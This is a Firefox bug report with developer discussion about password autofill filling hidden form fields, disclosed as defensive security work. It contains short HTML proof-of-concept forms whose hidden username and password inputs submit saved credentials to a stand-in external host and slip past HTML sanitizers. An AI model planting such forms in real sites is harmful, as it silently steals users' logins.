1783962 - Username and password autofill will fill out hidden form fields without warning the user

Status: UNCONFIRMED

(Toolkit :: Password Manager, defect, P3)

Description

[johanaxelcarlsson]

Attachment: autofill_poc.txt

If "Password autofill" is turned on (se https://support.mozilla.org/en-US/kb/autofill-logins-firefox), when visiting a site Firefox will check the DOM for any username/password fields and pre-fill them with data. The autofill functionality does only look at the base of the URL and does not take the path into consideration.

Also, Firefox does not check if the fields have the hidden attribute turned on. This combined allows a malicious generated form to exfiltrate username and password from sites without the user knowing it.

This is a huge problem on sites that have their login form on a path of the main domain such as https://example.com/users/login and accept user generated HTML somewhere on their page. I have found this behavior on multiple big sites while doing bug bounties.

These websites usually have some sort of XSS mitigations using for example DOMpurify (or the new HTML Sanitizer), but as the required HTML here is not considered as an XSS vector it is allowed by default in most XSS filters. It does not even rely on CSS which is often stripped as well as javascript.

Adding this HTML to a site where the user have a stored password in Firefox

<form action="https://example.com" method="GET">
   <input type="submit">
   <input type="text" name="username" hidden>
   <input type="password" name="password" hidden>
</form>

Will present any user with a button and no indication that there are auto filled out fields hidden. When submitting there is no warning that username and password is sent to the attackers server. This works for "POST" method as well.

REPRODUCTION CASE

1. Go to https://support.mozilla.org/en-US/kb/autofill-logins-firefox#w_enabledisable-login-autofill and follow the guide to configure autofill. Enable it for https://joaxcar.com
2. Visit https://joaxcar.com/not/login/autofill.html
3. Click the submit button
4. Username and password should be visible in the URL of example.com

Test this by hosting the supplied HTML document on a server under a domain. Follow the above steps to reproduce.

Version
Firefox 103.0.2 (64-bit)
Operating System: Windows 10 10.0.19044 Build 19044

Remediation
Firefox should not fill in hidden fields as they are considered "disabled" See docs at https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/hidden

"The hidden global attribute is a Boolean attribute indicating that the element is not yet, or is no longer, relevant. For example, it can be used to hide elements of the page that can't be used until the login process has been completed. Browsers won't render elements with the hidden attribute set."

Best regards
Johan

Comment 1

[:Gijs (away/busy until Mar 10)]

Over for triage by the pwmgr folks, but I'm fairly sure this is a dupe of a public bug.

Even if we didn't fill hidden fields (which would probably break real multipage login experiences like google's), an attacker could do the same thing by just sticking non-hidden elements into a hidden subtrees, or using CSS, or using table height/width attributes to avoid them being visible to users.

(In reply to johanaxelcarlsson from comment #0)

These websites usually have some sort of XSS mitigations using for example DOMpurify (or the new HTML Sanitizer), but as the required HTML here is not considered as an XSS vector it is allowed by default in most XSS filters. It does not even rely on CSS which is often stripped as well as javascript.

I am surprised by this, as I would expect that form elements and/or URLs on those forms would be stripped from user input. That's certainly what our own builtin sanitizer does unless you explicitly allow form elements. I'm not sure if that behaviour extends to the web-exposed HTML sanitizer. I'd ping Freddy about that but he's out at the moment...

Comment 2

[johanaxelcarlsson]

Hi, thanks for answering here!
Searching for "autofill" did give me some public issues, should maybe have done that before. Did search for autofill hidden and did not find a match. But might be there as well.

Regarding the new sanitizer. I dont know what is the correct behavior there. As forms are not XSS per se. But they are quite dangerous. DOMPurify allows form tags but strips formaction and formmethod attributes from input tags and similar. They can be used as a way to leak CSRF tokens and other data. The new sanitizer allows this HTML below as is, including formaction. Which is definitely dangerous, but might be "intentional"

<form action="https://not.example.com" method="POST">
<input hidden type="text" name="username">
<input hidden type="password" name="password">
<input type="submit" formaction="https://example.com" formmethod="GET">
</form>

You can test it here
https://mozilla.github.io/sanitizer-polyfill/demo/

Do you think I should report this as a separate issue, or should I just leave it here.

Best regards
Johan

Comment 3

[Frederik Braun [:freddy]]

Thank you for bringing this to our attention. The Sanitizer is scoped for XSS only, as noted in the Introduction & Security Considerations sections, however I do note that we are not talking about form hijacking as explicitly as we could.
Currently, these attributes are listed as allowed by spec. I've raised the following issue and suggest we continue the conversation there. https://github.com/WICG/sanitizer-api/issues/169.

Comment 4

[Sergey Galich [:serg]]

:johanaxelcarlsson thank you for filing this bug!

This is an issue reported in bug 1247245 and most likely we will be fixing it along with bug 1548771. I'll keep this one open for now, but there is no need for security flag.

Comment 6

[sectroyer]

Just to clarify in this bug password itself is hidden in the issue I have reported input itself did not have hidden attribute. Instead it was inside of a div that was hidden. So visibility should be checked on all levels.

Comment 7

[Sergey Galich [:serg]]

(In reply to sectroyer from comment #6)

Just to clarify in this bug password itself is hidden in the issue I have reported input itself did not have hidden attribute. Instead it was inside of a div that was hidden. So visibility should be checked on all levels.

Agreed. There are so many visibility controls though: display:none, opacity:0, width:0px, overlapping content, same color foreground and background, etc. And in some cases it's hard to draw a line, for example opacity:0.001 is most likely to be invisible to everyone, but opacity:0.1 can be invisible only to some users and not the others.

Comment 8

[sectroyer]

(in reply Sergey from comment #7)

That's why there is no point in analysing whole visibility "stack" and rather depend on user himself. If user can see the password field and can interact with it means it's "good enough". Of course there is still a possibility of clickjacking attacks but it can be easily solved. For example Safari displays an overlay with password list below password field itself with which user also has to interact (click or use keyboard to select). This overlay is NOT affected by any html/css styling.